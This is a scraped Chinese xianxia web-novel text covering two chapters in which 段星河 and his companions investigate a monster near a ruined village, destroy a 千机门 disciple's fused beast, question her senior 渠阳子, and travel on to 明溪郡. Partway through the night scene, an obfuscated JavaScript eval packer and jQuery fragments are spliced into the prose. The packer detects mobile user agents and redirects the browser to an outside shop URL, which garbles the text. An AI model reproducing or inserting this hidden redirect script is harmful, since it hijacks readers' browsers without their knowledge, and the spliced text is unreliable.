身边的人都知道,大师兄有三大爱好,头一个是练剑,第二是打磨东西,第三就是数钱。他喜欢那种不用为生活担忧的感觉,有了钱才能过想过的生活,心里踏实了,人也就自在了。 他把银票数了一遍,加上先前抓三尾狐赚的钱、买药给报销的钱,已经攒了不少了。这些钱跟伏顺他们分完,剩下的也有二百两,钦天监还按月给他发俸禄,日常吃穿不成问题。包袱里收着师父给他们的一包银子,段星河不打算动,准备回去交给师娘。 从前他在青岩山中,二三十张嘴都等着吃饭,过年才能买点需要的东西。段星河一直想多挣点钱,让大家的日子好过一些。如今来到这里,虽然遍地都是妖魔鬼怪,总算有钱赚,也不枉他们把脑袋别在裤腰带上过日子了。 数完了钱,他从旁边拿起了幽冥剑。长剑的剑鞘漆黑,黄铜吞口上刻着浪花,里头的宝剑湛如秋水,散发着凛凛肃杀之气。他轻轻擦拭着剑身,越看越喜欢,目光都变得柔和起来。 门吱呀一声,步云邪从外头进来了,道:“忙着呢?” 段星河道:“没事,来。” 步云邪手里拿着几件衣裳,过来道:“前两天百姓送的布裁的衣裳,这是你的,试试吧。” 天热了,也该换薄衣服了。段星河解开了外衣,把一件珠白色的交领袍穿在外面,扎上了蹀躞带,把剑挂在了腰上。 他抬了抬胳膊,活动很方便,衣裳衬得他猿臂蜂腰的。他的肩膀上绣着一双金色的流水纹团花,步云邪的眼光一向很好,他挑的衣裳都很好看。 段星河在镜子跟前照了照,感觉自己都变精神了,道:“不错,挺合身的。” 步云邪嗯了一声,在桌边坐下了,道:“咱们在这里待的差不多了,接下来要去哪儿?” 段星河最近也在寻思这件事,随手拿过一张地图,哗地一下在桌上摊开,看着上面的势力范围和山川河流。萨满说要解除他身上的诅咒就得想办法登阶,去碧落天拜见凤神。蜀山是供奉凤神最大的道场,他们的掌教应该能帮到自己。段星河道:“先往西走吧,找蜀山的人问问登阶的事,一边找小师妹,还有……” 步云邪道:“还有什么?” 段星河的神色沉了下去,道:“千机门的人害死咱们师父,这事不能就这么算了。得想办法找到凶手,跟他们讨个说法!” 一想起这件事,步云邪也有些黯然。他道:“千机门的总舵在海外,大陆上各地都有他们的分舵。咱们的力量单薄,最好还是别跟他们碰硬,毕竟逍遥观还要靠咱们撑呢。” 段星河知道他说的不错,但这口气终究是咽不下去。他道:“你放心吧,我心里有数。” 众人收拾了东西,离开了驿馆,继续他们的旅程。往前走是明溪郡,那里是大幽跟夷州交界的地方。过了夷州再往西,便是巴蜀了。 这一个个地域从地图上看不过方寸大小,实际走起来却山高水远,好像三年五年也走不完。 大车在黄土路上不住颠簸,伏顺打着呼噜,脑袋靠在车壁上一点一点的。李玉真刚要睡着,就被他的鼾声吵醒了。他忍了又忍,这时候车压到一块小石头,嘎嘣颠了一下。伏顺的头撞到车壁上,砰地一声醒了。 他揉了揉眼睛,道:“到哪了,该吃饭了吗?” 李玉真闭上了眼,假装睡着了。伏顺打开车窗探出头去,道:“到什么地方了?” 天色将近黄昏,大车行驶在荒郊野外,周围是一片稀稀落落的树林。段星河和步云邪、宋胡缨骑马走在车边。步云邪道:“今晚在哪儿过夜?” 段星河从怀里掏出一张地图,看着道:“前头几里外有个小村子,过去借宿一晚吧。” 地图上那个村子很小,叫牛家村,几年前被山洪冲垮了。当时死了不少人,活着的怕再遇上这样的事,拖家带口离开了,只剩下一些年老体衰的老人留守在这里。 一行人来到村口,见村子十分破败,屋子东倒西歪的。几只乌鸦栖息在树上,哇哇地叫了几声,拍着翅膀飞走了。李玉真下了车,感觉这村子竟比野外还要荒凉一些,到处都透着一股森森的鬼气。 他小声道:“这里能住吗,我怎么觉得还不如在外头扎帐篷好呢?” 段星河牵着马往前走了几步,发现村子里到处都是倾圮的空屋。屋子的房顶几乎都没有了,门也没了。段星河道:“来都来了,找个能住的地方吧。” 众人往村里走去,几个老人家听见动静,弓着背出来,警惕地看着他们。一个五十来岁的大叔叼着烟杆子出来,大声道:“喂,你们干什么的?” 段星河停了下来,道:“大叔,我们是路过的。天晚了,想在这儿借宿一宿。” 大叔看他们整齐干净,不像是逃犯之类的人,便道:“喔,我是村长,你们跟我来吧。” 一群人跟着那大叔来到村头一间土地庙里,上首坐着个慈眉善目的土地公,里头破破烂烂的,墙角堆着些稻草。好在屋顶是完整的,墙也砌的很结实。众人十分感激,纷纷道:“多谢大叔。” 村长站在屋外,道:“不用谢,外乡人来借宿一般都安排在这里。这不是白住的,你们明白吧?” 他说着手上下掂了掂,做了个抛钱的动作。段星河明白了,村民把这儿当客栈,就等着有人经过挣点钱。他从腰包里掏出一块碎银,递了过去。 大叔满意了,把钱揣起来道:“村里有人卖鸡蛋,还有煎饼、咸菜,想吃可以去买。夜里别到处乱走,小心遇见貔虎。” 他说着背着手,抽着旱烟走了。李玉真道:“什么是貔虎?” 平时小孩儿不听话,大人就会说貔虎来把你叼走了,具体是什么怪兽谁也说不准。段星河道:“管他呢,先吃饭吧。” 一群人回到土地庙里,段星河对土地公行了个礼,道:“路过叨扰,土地爷莫怪。” 吃完饭,他把一个苹果和一叠煎饼放在土地公面前,算是贡品。墨墨拍着翅膀想去吃,段星河一把将它揪了回来,道:“那不是给你的,你碗里不是有?” 他回过头去,发现小对眼吃完了自己碗里的玉米粥,又把脸埋进了墨墨的碗里,吃的满脸都是渣,难怪墨墨要去吃贡品。 段星河见不得自己的崽子被欺负,小声道:“去抢回来,连吃的都护不住,你还是不是我儿子了?” 墨墨受到了老父亲的鼓励,飞过去一个头槌,把小对眼撞开了。小对眼摔了个滚儿,盛粥的碗也被打翻了。它愤怒地炸起了毛,弓起背来冲墨墨哈了口气,露出了几颗小尖牙。其他人都在看着它俩,跟看斗鸡似的。伏顺攥着拳头,小声道:“加油,瓜皮,你是最棒的!” 宋胡缨一脸漠然的表情,觉得墨墨根本打不过自己的儿子。 步云邪冷淡道:“输了明天不准吃饭。” 墨墨打了个激灵,顿时膨胀起了身体,学着小对眼的模样张开嘴,朝它哈了口气。 它的嘴十分之大,堪称深渊巨口。小对眼被一个硕大的黑洞笼罩着,一瞬间听见了里面呼呼的风声。它嗷地一声叫,纵身一跃跳到了宋胡缨的怀里,认怂了。 伏顺和赵大海鼓掌叫好,步云邪也露出了笑容,拿出一把牛肉干来奖励它,道:“从小就得勇敢,咱们不能欺负人,但也不能让人欺负了。” 宋胡缨摸着小对眼的毛,没说什么,但就是有点不开心。李玉真过去坐在她旁边,道:“小崽子打架嘛,没什么大不了的。” 宋胡缨从自己的碗里挑了一块腊肉,喂给了小对眼,一边道:“以后吃自己碗里的,别去抢别人的了。” 小对眼吃完了肉,舔了舔嘴,也不知道听懂了没有。李玉真看着它智慧的眼神,觉得它应该很快就会把这次失败的教训抛到脑后,下次还敢。 吃完了饭,大家铺开睡袋,早早地睡了。伏顺睡到后半夜,忽然感到一阵尿意。他从睡袋里钻出来,跨过身边的赵大海,蹑手蹑脚地出了土地庙。 外头的树林稀稀拉拉的,透着一股瘆人的气氛。伏顺心里慌得很,只想赶紧尿完了赶紧回去。 他放完了水,听见前方窸窸窣窣的,好像有人朝这边走过来了。伏顺连忙提起裤子,躲到了树后,就见一个矮小的身影背着个竹筐,慢慢地从林中穿过。 夜里雾色浓重,伏顺也看不清楚,只觉得那人的脑袋好像格外大,就像个酒坛子套在头上似的。那人头上还扎着两个丸子发髻,晃来晃去的,好像是个女孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503019|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大半夜的,怎么会有女孩在这么荒凉的地方闲逛?他心中好奇,想看得再清楚一些,却见那大头娃娃蹒跚着穿过树林,身影消失在浓雾中了。 伏顺揉了揉眼,那情形实在怪异,让他忍不住怀疑自己出现了幻觉。 他回到土地庙,其他人还在睡觉。他便钻回睡袋里,没过多久也睡着了。 次日一早,大家起来打水洗脸。伏顺在附近采了一大把野菜,洗干净了准备跟玉米糁一起煮。段星河感觉过得太凑合了,道:“别老吃这些了,跟我去附近看看,有没有什么别的东西。” 伏顺和他出了门,两个人在晨雾里转悠了一圈,能看到的房子几乎都荒了,只有一间小院里散养着些鸡。大公鸡跳上架子,喔喔地打鸣。一个大婶拿着笸箩,在院子里洒下了一把粮食。 段星河过去行了个礼,道:“大婶,我们是路过的,您这里有鸡蛋吗,我们想买一点。” 大婶露出了为难的表情,道:“鸡蛋没有,有些胡萝卜和土豆,还有刚摘的香椿芽,你们要么?” 有新鲜的蔬菜也很好,段星河道:“好,有劳了。” 大婶便下了地窖,片刻拎出了一篮子胡萝卜和土豆,又从厨房里拿了一大把微红的香椿芽。段星河给了她一块碎银子,大婶觉得给的钱多了,有点过意不去。她道:“你等等,家里还有几个没吃完的煮鸡蛋,要不给你们带上一些吧。” 她回屋拿了六七个鸡蛋回来,一边道:“不是我不卖给你们,俺闺女前几天被貔虎吓着了。郎中说得吃点好的压压惊,我和她爹就把鸡蛋攒下来给她了。” 村长说过晚上别出去乱逛,他们当时没放在心上,没想到真的会出事。段星河奇怪道:“貔虎是什么?” 大婶道:“俺也说不好,有人说是狼,也有人说是妖怪。俺闺女前天晚上出来,见墙头趴着个怪东西,嘴里长着尖牙,身上盖着铁皮,有一口缸那么大,身上的肉像烂泥一样耷拉着。俺闺女吓了一跳,当天晚上就发起烧来了,直到今天才好一点。” 她描述的怪物长得乱七八糟的,感觉很像千机门的风格。段星河疑心是那个杂耍班子的人逃到这里来了,警觉道:“村子里最近来过杂耍班子的人吗?” 大婶摇了摇头,道:“那倒是没有,这里的人这么穷,杂耍演给谁看?” 段星河若有所思,接过了鸡蛋和蔬菜,提着东西往回走去。 回到了土地庙,段星河把胡萝卜洗干净了,掰成两截,道:“瓜皮呢?” 赵大海硕大的身躯上系着白围裙,咚咚地切着菜,道:“屋顶上吧,刚才我看见它和小对眼逮了个蚂蚱,叼上房了。” 墨墨正在房顶上趴着,小对眼蹲在它旁边,伸着爪子拨来拨去的。蚂蚱的头已经被它俩咬掉了,身上的翅膀掉了一只。这两个家伙昨天还为了抢食打架,今天又莫名其妙地和好了。 “瓜皮。” 他喊了一声,墨墨的耳朵抖了抖,拍着翅膀飞了下来。段星河嘴角抿着一丝笑,把胡萝卜背在身后,突然拿出来给了它个惊喜。墨墨的眼睛一亮,张嘴嘎嘣嘎嘣地吃了。 小对眼趴在屋檐上看着他们,有点羡慕。段星河也没忘了隔壁家孩子,把另外半截胡萝卜举起来,小对眼一口叼住了,不知道拖到哪里吃去了。 片刻饭做好了,赵大海把胡萝卜和土豆、腊肉炖了一大锅,汤汁咕嘟嘟地翻滚着。腊肉的盐味和特有的油香渗进蔬菜里,又放足了胡椒,闻起来就很香。每个人分到了一个煮鸡蛋,配着炖菜吃了,感觉很满足。 吃完了饭,李玉真道:“段兄,等会儿走么?” 段星河想着刚才那大婶说的话,道:“先不急着走,我听人说这村子附近有披着铁皮的怪物,神出鬼没的,把小孩儿都吓病了。” 此言一出,其他人都看了过来。步云邪道:“铁皮怪物……是千机门的人?” 段星河也这么怀疑,想亲眼看一看。师父被害死了,他正想找千机门的人算账,如今在这里遇上了,不可能放过他们。 宋胡缨道:“就一个孩子吓着了,还有别人受害么?” 段星河道:“应该没有吧,有的话村长早说了。” 伏顺想起昨天晚上的事,犹豫了一下道:“大师兄,我昨天起夜,见野地里有个怪人,长得特别矮,脑袋有酒坛子那么大,晃晃悠悠的到处乱转,一会儿功夫就不见了。” 段星河诧异道:“你怎么不早说?” 伏顺搔了搔头道:“我以为我看错了,不过我就见了那一个人,没见到什么铁皮怪物。” 段星河觉得事情越发古怪了,道:“白天休息一下,等夜里找个地方埋伏起来,看看能不能遇上他们。” 众人等到天黑,藏在土地庙附近的一片废墟中。这里的房子坍塌的很严重,基本上没有完整的墙了,荒的连老鼠都不往这里钻。 众人坐在墙根下,等了许久。伏顺打了个呵欠,道:“来不来啊,给个准信儿。” 宋胡缨对小对眼道:“你出去看看,有没有奇怪的人经过。” 小对眼一跃窜上了墙头,几下就不见了。李玉真道:“它听懂了吗?” 宋胡缨淡淡道:“不知道啊。” 李玉真叹了口气,觉得养这家伙真的是一切随缘。众人等了一阵子,段星河正想着要不要放墨墨出去看看情况,忽然见一道黑影窜了回来。宋胡缨道:“有人么?” 小对眼跳下了墙,倒退两步,仿佛示意他们跟自己来。宋胡缨也有些意外,道:“它找到了。” 一群人站了起来,猫着腰跟着小对眼向前跑去。走了一阵子,就见一个矮小的身影出现在前方的一条小河沟旁边。那条沟里堆满了树枝、枯叶、淤泥,还有些破烂的衣裳和动物的尸体。 伏顺激动起来,小声道:“就是她,昨天晚上我看到的人就是她!” 月光照下来,段星河定睛望着那人的背影,见她穿着一件红褂子,黑裤子,只有四尺高,脑袋却不同寻常的大。伏顺说像顶着个酒坛子,还是真的。 她身后背着个跟她差不多高的大竹筐,手里拿着个长长的夹子,看到路边有个生锈的剪子,便夹起来扔进了筐里。她走到河沟前,用夹子拨开地上的枯枝败叶,捡起了一件破棉袄。再往前走一阵子,一条黑色的蛇从淤泥里游出来,朝她吐出了鲜红的信子。 那酒坛娃娃伸出夹子,又稳又准地夹住了它的七寸。蛇在她的夹子下拼命扭动,酒坛娃娃笑嘻嘻地说:“就凭你还想咬我,回去陪我的小乖乖吧。” 她说着把蛇按在地上,一脚把它的脑袋踩碎了,扔进了身后的竹筐中。 赵大海感到一阵恶心,道:“这是干什么的,大半夜出来拾荒?” 其他人也不知道她捡这么多破烂干什么,觉得有点瘆得慌。酒坛娃娃在河沟里发现了一个泥鳅洞,把夹子伸进去,掏了片刻,夹到了一条肥大的泥鳅,扔进了筐子里。 她哼着歌,又噼里啪啦地夹了几只蚂蟥扔了进去,还有一只水耗子的尸体。她喃喃道:“刚死的,还新鲜。” 众人的表情越发难看了,李玉真低声道:“噫——” 那酒坛娃娃哼着歌,仿佛觉得收获颇丰,摇摇晃晃地向前走去。 远远地就听见她唱道:“月光光,心慌慌,是谁深夜敲我窗。小情郎,逾我墙,转身就把我来忘。剥你皮,拆你骨,做成一面人皮鼓,抡起骨头做的锤,把你敲得咚咚响……” 夜风轻轻吹过,小对眼害怕地缩成一团,把树叶碰的沙沙作响。那酒坛娃娃感觉到了什么,忽然回过头来,看向他们藏身的地方。 众人终于看到了她的正面,大气也不敢出。就见她头上套着个白色的大坛子,脑袋两边扎着两个圆髻,用红绳系着。她的腮上有两坨圆圆的腮红,眼睛的地方有两个窟窿,嘴巴微微咧着,上面还涂了鲜红的胭脂。 她的模样喜庆的没心没肺,又诡异的理所当然,就像葬礼上烧给死者的金童玉女。 她朝这边注视了片刻,硕大的脑袋在风里晃来晃去,忽然嘻嘻一笑,道:“出来吧,我看见你了!” 31.千机门 二 众人的心悬到了嗓子眼,段星河悄然摸向了幽冥剑,做好了战斗的准备。 这时候就见那酒坛娃娃伸出手里的夹子,从路边的泥洞里夹出了一只灰黄的癞蛤蟆。 那癞蛤蟆浑身都是疙瘩,用力蹬着腿,白色的肚子一鼓一鼓的。酒坛娃娃哈哈一笑,道:“好丑啊,你这个小丑八怪。不过没关系,越丑的我越喜欢!” 癞蛤蟆扭动着身体,极力想逃跑。酒坛娃娃一握夹子,顿时把它夹得爆裂开来,噗的一声成了一团肉泥。众人都皱起了眉头,她却觉得没什么大不了的,道:“嗨呀,劲用大了,抱歉啊。” 她说着把那团肉泥扔进了身后的竹筐里,转身继续向前走去。 众人埋伏在草丛里,一动也不敢动。那酒坛娃娃的身影渐渐消失在夜雾中了,段星河低声道:“追!” 那酒坛娃娃往前走了一阵子,来到村外的一个小湖边。湖边长满了芦苇和杂草,她低声唤道:“小乖乖,妈妈回来了,快出来。” 段星河等人躲在一片山石后面,就见远处的草丛动了动,一只奇形怪状的东西缓缓地爬了出来。 它有水缸大小,看起来像是一团肉和几块铁皮、还有十来条触须融合在一起的怪物。它没有脚,肥大的肚皮一层层地拖在地上,爬过的地方都会留下一道黏液。众人看到它的一瞬间就皱起了眉头,李玉真道:“这是什么鬼东西?” 伏顺想了想,道:“像个长着铁壳的肥蛞蝓精。” 其他人端详了一下,发现伏顺形容的十分到位,实在是个概括的鬼才。 那是个货真价实的怪物,创造它的人好像没想过要让它稍微好看一点,只是把各种东西胡乱地堆在它身上。它匍匐在地上,就像一条乖顺的大狗,身上十七八条腕足像流苏一样垂着,腕足之间有些不住蠕动的脓包,仿佛随时有蠕虫要从中钻出来。 酒坛娃娃摸了摸它的脑袋,慈爱道:“乖宝,妈妈给你找了不少好东西,你试试。” 她把筐子翻过来,里头的东西堆成了一座小山。她拿出一个捣药臼,把死老鼠、死蛇、水蛭和蟾蜍等物倒进去,几下捣成肉泥,像糊墙一样糊在了怪物身上。 她口中念诵咒语,一道幽黑色的光芒闪过,那块肉就长在了怪物的身上。 众人看的都呆住了,没想到千机门的人是这么融合怪兽的。那酒坛娃娃喃喃道:“还有点,别浪费了。” 她把石臼里剩下的一点肉泥刮进了它嘴里,又把一条活泥鳅喂给了它。 那怪兽一仰头,吞了下去,满足地舔了舔舌头。伏顺感叹道:“真是亲生的,还知道喂点能吃的东西。” 那酒坛娃娃又把捡到的废铜烂铁烧化了,砸在一起,做成了一块铁板,敲敲打打地钉在了怪物的背上,跟其他部分的背甲联合在一起。 她摸了摸它的背,满意道:“乖宝,你快点长大,变强起来。大师兄说我再进献一只融合兽就能当高阶弟子了,你可得给我争气!” 伏顺的脚蹲麻了,悄悄地挪了挪。那头蛞蝓精觉察到了动静,朝这边望了过来,身上的十七八条触角躁动不安地舞动起来。伏顺顿时不敢动了,像玩一二三木头人似的。酒坛娃娃道:“怎么啦,乖宝?” 蛞蝓精发出呜噜呜噜的声音,就像沼泽在冒泡。酒坛娃娃四下环顾,警惕道:“有人吗,给我揪出来!” 蛞蝓精便朝这边蠕动了过来,它的肚皮虽然垂在地上,行动起来居然还不慢。它朝树丛喷出一股灰绿的黏液,段星河等人朝旁边一跃,纷纷躲开了。伏顺的脚麻了,躲闪不及被糊了一脸,一股臭气顿时把他淹没了。 他感觉自己好像一头闷进了豆汁缸里,干呕了几声,抹去了脸上的脓液,道:“干什么,你不讲武德!” 那酒坛娃娃看着他们,道:“怪不得刚才我就觉得有人跟着我,你们是谁,想干什么?” 段星河冷冷道:“你是吉祥百戏班的人么?” 酒坛娃娃晃了晃脑袋,莫名其妙道:“什么戏班子,我没见过。” 她养的怪兽也跟她一样,歪起了脑袋,一副冥思苦想的模样。段星河直接道:“你是不是千机门的人,我师父是你们杀的么?” 酒坛娃娃更困惑了,说:“你在胡说八道什么,该不会是脑子有问题吧。我在这儿待了半年多了,从来没见过你们,怎么会杀了你师父?” 段星河也不确定她是不是在撒谎,但这只怪兽跟之前吞噬掉师父的那一只很不一样。他正在迟疑间,那酒坛娃娃烦躁起来,道:“这些人啰啰嗦嗦的好讨厌啊,乖宝,咬他们!” 蛞蝓精呜地一声吼,朝他们扑了过来。段星河拔出幽冥剑,一剑砍了过去。那蛞蝓精被他砍断了几条触须,其它的触须疼的蜷缩起来,浑身的肉都在颤抖。 酒坛娃娃道:“别怕,给我上!” 蛞蝓精再次扑了过来,段星河挥剑斩下去。那蛞蝓精这次学乖了,骤然蜷缩起身子,躲在了它的壳里。段星河一剑砍在它的壳上,最外一层的铁甲被砍得横飞出去,里头却还有好几层。 李玉真在旁边看着,道:“行吧,这家伙是懂叠甲的。” 酒坛娃娃养了它许久,正好借这个机会试试它的本事,道:“很好,坚持住,找机会咬他。” 那只怪兽呜地一声吼,好像十分得意,觉得自己身披七八层铠甲,任何人都拿它没有办法。 段星河看着它浑身的触手,就想起害死师父的那头怪物身上也长满了这样的腕足。那时的情形又一次浮现在他眼前,段星河心中一阵烦恶,脑中仿佛有一个声音在对他说——宁可错杀,不能放过! 他的眼神变得凌厉起来,不管它是不是害死师父的凶手,自己今天都要除掉这怪物。 他把长剑插回剑鞘里,把幽冥宝匣往空中一抛,喝道:“鼎镬——” 一个巨大的铜鼎被他拽了出来,漂浮在空中,仿佛在听候主人的吩咐。 段星河道:“烹杀!” 鼎镬骤然向那只怪兽飞了过去,哐地一声倒扣在它身上。酒坛娃娃吃了一惊,道:“干什么,放开我的乖宝!” 她冲过来,用力扒拉青铜大鼎。鼎镬却不理会她,翻了个滚,飞到了半空中,沉重的盖子扣在了上面。那怪物不住挣扎,发出撕心裂肺的嚎叫。酒坛娃娃急得直跳脚,怒道:“你干什么,放了它!” 段星河不为所动,冷冷地看着一切。众人也是头一次见识幽冥宝匣的厉害,仰头望着空中,露出惊讶的神情。 那怪物在锅里挣扎,鼎上的盖子被顶的不住翻动,里头涌出了血沫、牛角、人的鞋子,还有些说不上来源的骨头,铁皮和大量的头发。鼎镬里的水渐渐沸腾,露出来的触手变成了红褐色,卷曲起来。 酒坛娃娃好不容易养大的怪兽被人煮了,又气又急。她将一道灵光化作一只折纸仙鹤的模样,向空中放去,道:“大师兄,有人欺负我啦,你在附近是不是——快来帮我啊!” 铜鼎重重地落在地上,浓浓的汤汁溢了出来。锅里散发出一阵强烈的异香,比加了八角大料炖的牛羊猪肉还诱人,让人忍不住直咽口水。 这东西活着的时候臭不可闻,却不知道为什么,煮完了居然这么香。伏顺小声道:“熟了?” 赵大海道:“这玩意儿是吃死□□长大的,这你都敢惦记?” 伏顺缩了缩脖子,道:“那算了。” 远处飞来了一只仙鹤,那只仙鹤像是用铁皮折成的,脑袋是个尖尖的三角形,硕大的翅膀忽闪忽闪的,飘悠悠地停在半空中。 一个灰袍道人骑在铁皮仙鹤的背上,三十来岁模样,生着一双上挑的醉眼,带着三分似笑非笑的神色。他胸前戴着个铜的护心镜,身后背着一口大铁剑,腰上挂着个酒葫芦,懒懒道:“大半夜的不睡觉,叫我干什么?” 酒坛娃娃就像看到了救星,大声道:“大师兄,他们把我的融合兽煮了,你快帮我报仇!” 那灰袍人漫不经心地看了一眼铜鼎,神色忽然微微一凝,诧异地看向段星河。 他道:“幽冥……小兄弟,这是你的法宝?” 段星河冷冷道:“是,怎么了?” 那灰袍人感到了他身上的煞气,眼睛转了几回,只道:“没什么,挺好的。” 众人还以为酒坛娃娃叫来的靠山有多厉害,此时一见,却觉得他也没什么大不了的。 青铜鼎里飘出了浓郁的肉香。那灰袍人耸了耸鼻子,陶醉地闻着空气里的气味,就像鬼魂享受香烛一样,把一道白气深深地吸了进去。片刻他叹了口气,道:“这是我师妹养的小乖乖,你们给弄死了,是不是得赔啊?” 段星河道:“你们是千机门的人?” 那灰袍人从仙鹤背上一跃而下,笑呵呵地道:“是又怎么样,碍着你事了?” 他说着拔出剑来,从锅里捞了捞,插起了一块肉吃了。众人就看着他嚼了几下,嘴上沾满了油花,咕咚一声吞了下去。 酒坛娃娃气得直跺脚,道:“你不准吃!” 那人咂了咂嘴,满不在乎道:“死都死了,浪费了多可惜,你们也来点么?” 众人下意识往后退了半步,没人敢领他的情。酒坛娃娃道:“大师兄,人家这么欺负咱们,你不生气吗?” 灰袍人懒懒道:“有什么好气的,死了再养一个就是了嘛。反正是肉泥捏的,想开点。” 这酒坛娃娃只是千机门的一个微末小卒,未必跟魏清风的死有关。但这灰袍人是他们的大师兄,必然知道内情。 段星河道:“前阵子白沙郡来了个杂耍班子,里头养的一头机械怪物吃了我师父。这件事你们知道么?” 灰袍人想了一下,道:“我们千机门没有杂耍班子啊。我们少主常做些机关兽,放在拍卖会上卖,就算是外人也能买到的。你不能一看到带铁皮的怪兽就怀疑我们啊,那可太冤枉人了。” 他的话也不是没有道理,段星河皱起了眉头,感觉又陷入了迷障中。灰袍人虽然连那怪物的肉都吃的津津有味,却又一副通情达理的模样,和气道:“小兄弟,我看你修为不错,叫什么名字,你师父是谁?” 段星河淡淡道:“我叫段星河,我师父叫魏清风,是逍遥观的人。” 那人道:“在下渠阳子,是千机门的长徒,裴少主是我二师弟。我回去帮你问一问,看有没有人知道是怎么回事。” 段星河的神色还有些怀疑,渠阳子哈哈一笑,道:“咱们都是要成仙的人,可得好好活个千八百岁的,别动不动就打架。大家抬头不见低头见,日子长着呢。” 他说着又拍了拍铜鼎,道:“我们前阵子刚献祭过一批融合兽,活着的就数这一只最大了。如果是它吃的,总能留下些东西的。消化不了的会一直留在它体内,你要是不放心,就在锅里找找吧。” 他一拂袍袖,跃上了铁皮仙鹤,又对那酒坛娃娃道:“走吧,我带你一程。” 酒坛娃娃爬上了鹤背,还有些依依不舍,回头看着那口大锅。渠阳子伸出大手一捂她的眼睛,道:“别看了,换个地方捡破烂的事。这个死了,下一个更乖。” 他道:“走了——” 仙鹤啼鸣了一声,拍着翅膀飞走了。伏顺看着他们的背影,感觉跟自己想的不一样,道:“怎么回事,邪宗的人也跟人讲道理?” 这些老江湖办事都求一个稳字,不像毛头小子一样冲动。步云邪道:“星哥身上的煞气这么重,他不想惹麻烦而已。换成别人,恐怕早就被他杀了。” 段星河没说话,从地上捡起一根木棍,在锅里搅了搅。一锅黏糊糊的东西里,有些是它自己身上的肉,有些是它吞吃掉的东西,乱七八糟的什么都有。他索性把鼎镬翻了过来,里头的东西哗啦一声撒了一地。 众人围了过来,细细分辨,过了良久也没找到师父身上的东西。 伏顺道:“没有。” 其他人松了口气,道:“确实不是它吃的。” 李玉真盯着一个圆圆的头骨端详了片刻,顶上的囟门还没合上,道:“是个小孩儿的脑袋,这家伙果然没干过什么好事。” 众人想起村里有个小孩儿看到它趴在墙头,被吓得不轻。看来那时候它就打算吃了那孩子,后来听见了大人的动静,它就逃走了。 步云邪道:“这玩意儿死有余辜,别管它了。” 段星河把鼎镬收了回去,化作了幽冥剑挂在腰上。他想着那灰袍人的话,还是有些怀疑。其他人见他不说话,便也沉默着,跟他一起回了土地庙。 千机门的人已经离开这里了,他们也没必要再待下去了。次日天一亮,他们便离开了这个村子。大车行驶在山林小路上,有些颠簸。伏顺道:“又要露营了吗?” 李玉真从座位底下拿出一张地图,看着道:“今天要露宿了,明天傍晚之前应该能赶到明溪郡,到那边就有驿馆了,可以好好休息一阵子。” 伏顺靠在车壁上,闭上了眼道:“那我睡会儿,反正今天没事了。” 大车外,段星河想着昨天晚上的事,一直心事重重的。步云邪骑马走在他身边,道:“怎么了?” 段星河垂着眼,他身上带着连萨满都解除不了的诅咒。师父去世了,他也无法为他老人家报仇,甚至连他的女儿都找不回来,心里充满了负疚感。 “我对不起师父。” 他这样步云邪心里也很不好受,道:“别这么说,你已经很努力了。” 段星河的眉头深锁,道:“我想找到杀害师父的凶手,但线索太少了。” 前方的山林间弥漫着薄雾,就像他们的前路,一切都看不清楚。 步云邪道:“这地方的人和事真真假假的,不到特别有把握的时候,不要轻易出手,不然怕是会被有心人利用。” 段星河知道他说的不错,越是在低谷之中越需要冷静。说不定敌人就在什么地方,悄悄地误导他们,让他们落入陷阱。他是这些人的主心骨,必须保持清醒的头脑,不能做出错误的判断。 他沉声道:“昨天晚上是我冲动了。” 步云邪道:“没关系,你也是为民除害嘛。” 话虽这么说,他因为一时冲动跟千机门的人结下了梁子,确实有些失策。对方是老江湖了,没摸清楚他的底细之前,没有轻易动手,打了几句哈哈就过去了。但下次见面时,会怎么样就不好说了。 仲春时节,山间的绿荫渐渐浓郁起来,远处传来潺潺的流水声。 段星河深吸了一口气,情绪渐渐平复下来。前头的路还很长,只要不放弃,总能找到凶手的。 一行人走了两天,傍晚时到了明溪郡的驿馆。这边靠近大幽的边境,跟夷州等其他几个地区的交易往来频繁,街上有不少外地来的客商,还有万通商会组织的总舵。 从夷州来的人按老家的习俗,把耳垂从中割开,横挂着十来个铜耳环。耳垂坠得光剩下一层皮了,看起来有些怪异又很沉重,但他们已经习惯了。 又有些燕丘来的人牵着马,马背上放着些皮子,停在集市上跟人交易。更多的是本地的商人,贩卖生丝、茶叶,还有从海外来的机械自鸣钟、放大镜,稀奇古怪的什么都有,来来往往的十分热闹。 段星河等人一路走,一路看,觉得琳琅满目的十分有趣。宋胡缨盯着一个金手环看了半天,好像很喜欢。她跳下马来问了价格,老板要三十两银子。宋胡缨觉得有点贵,戴在手上看了片刻,还是放弃了。 李玉真拨开车帘看着那边,眼睛眨了眨,心想原来她喜欢金手环,不知道自己买了送她合不合适? 宋胡缨无意间转过头来,跟他对视了一眼。李玉真吓了一跳,连忙放下了帘子。他不知道自己为什么对她的事这么关心,但总是忍不住要悄悄看她。他摸了摸自己的胸口,心道:“不是吧……我是不是喜欢上她了?” 众人到了住处,这边的驿馆小一点,驿丞是个五十来岁的大叔。驿丞听说钦天监的人来了,连忙给他们安排了最好的房间,让人送了热水和饭菜过来。 众人洗过了澡,一起吃了顿热饭。伏顺感叹道:“还是驿馆好啊,安全又舒服。” 这里已经是边境了,段星河想着即将大出血的钱袋子,一脸痛惜地说:“讲个鬼故事吧,离开大幽就没这个待遇了,以后吃饭住宿都得自己花钱。” 他们这么多人,住一天店起码要花一两银子,确实挺吓人的。步云邪笑了一下,道:“离开这里之前,多做些准备吧。” 伏顺道:“什么准备?” 步云邪道:“练练功,所有人争取比现在提高一些。再看看凌烟阁有什么任务没有,挣点住宿钱。” 听说夷州比这边荒蛮,各种邪宗横行,妖魔也千奇百怪。他们这一路少不了遇到凶险,趁着现在还有时间,提高一下自己的本事确实很有必要。 段星河道:“那就在这儿停一个月的时间,大家都好好修炼一下,别遇上怪物打不过,跑都来不及。” 伏顺一听要用功就没兴趣,打了个呵欠道:“都出来了还这么麻烦……那我就练跑路好了。” 